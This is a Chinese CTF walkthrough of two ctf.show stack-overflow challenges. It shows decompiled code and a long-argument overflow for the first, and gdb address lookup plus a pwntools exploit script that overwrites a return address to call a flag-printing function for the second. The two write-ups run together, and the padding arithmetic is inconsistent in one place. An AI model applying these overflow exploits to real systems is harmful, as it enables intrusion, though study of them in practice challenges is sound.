首先还是先下载pwn文件拖进虚拟机加上可执行权限,使用checksec命令查看文件的信息。
chmod +x pwn
checksec pwn
// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [esp+0h] [ebp-1Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(flag, 64, stream);
signal(11, (__sighandler_t)sigsegv_handler);
puts(asc_8048910);
puts(asc_8048984);
puts(asc_8048A00);
puts(asc_8048A8C);
puts(asc_8048B1C);
puts(asc_8048BA0);
puts(asc_8048C34);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : See what the program does! ");
puts(" * ************************************* ");
puts("Where is flag?\n");
if ( argc <= 1 )
{
puts("Try again!");
}
else
{
ctfshow((char *)argv[1]);
printf("QaQ!FLAG IS NOT HERE! Here is your input : %s", argv[1]);
}
return 0;
}
// ctfshow
char *__cdecl ctfshow(char *src)
{
char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF
return strcpy(dest, src);
}
先来分析一波代码逻辑:
程序首先将/ctfshow_flag文件的内容读取到flag变量里,然后打印输出一些无用的提示信息。
之后是关键代码:
如果argc的值<=1,就输出try again。代表我们失败了没拿到flag。对argc解释一下,argc是我们启动函数时输入的参数的数量加1,因为程序默认有argc=1,且第一个参数为程序的名称即argv[0],此后我们输入的参数就为argv[1]…
如果argc的值 > 1,就进入ctfshow函数,该函数将我们输入的第一个参数也就是argv[1]赋值给dest,然后返回到main函数继续执行,会将argv[1]我们输入第个参数的内容通过printf函数进行输出。
那好我们如何拿到flag呢?我们知道strcpy函数没有长度限制,是可以产生栈溢出的,这道题就让我们想到了pwn23题啊,大家还记得pwn23是怎么做出来的嘛?当时我们在启动程序时,输入的参数是一个非常非常的字符串(长度要超过dest变量的长度104),进而导致程序溢出,输出了flag,所以这次我们依然用这个方法试一下。
开肝!!!
ssh连接
ssh [email protected] -p28185
./pwnme aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
首先我们还是先下载pwn文件,然后拖进虚拟机加上可执行权限,通过使用checksec命令查看文件的信息。
chmod +x pwn
checksec pwn
发现是32位的程序,并且除了RELRO是Partial,其他保护全是关闭状态。先拖进ida反编译下看下代码逻辑。
// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow(&argc);
return 0;
}
// ctfshow
char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF
return gets(s);
}
// get_flag
int get_flag()
{
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
return printf(s);
}
我们先来分析一波代码逻辑:
程序显示打印出一大段无用的提示信息,然后进入ctfshow函数,ctfshow函数是gets函数让我们输入信息到s[36]数组里,大家这里需要注意的是gets函数是没有长度限制的,可以发生栈溢出!另外题目提示我们存在后门函数,通过ida我们找到了get_flag函数,这个函数可以打印输出flag。
所以我们的大致思路就是通过栈溢出,将ctfshow函数的返回地址覆盖为get_flag函数的地址,这样我们就可以控制程序的执行流程,进而拿到flag。
首先看ida中s[36]数组的大小为36,加上我们还要覆盖掉ebp的值(ebp后面是返回地址,前面是局部变量s数组的栈空间),我们需要的填充数据长度就为36 + 4即0x28 + 0x4,我们通过gdb的disass get_flag命令就可以得到get_flag函数的汇编代码,其中就有get_flag函数的首地址,所以我们大致的payload就为:(0x28 + 0x4 ) * ‘a’ + p32(get_flag函数的地址)
直接编写exp开干吧!
先得到get_flag函数的地址:
gdb ./pwn
disass get_flag
拿到了get_falg函数的地址:0x8048586
编写exp.py:
from pwn import *
p = remote("pwn.challenge.ctf.show", "28115")
offset = 0x28 + 0x4
get_flag_addr = 0x8048586
payload = offset * 'a' + p32(get_flag_addr)
p.sendline(payload)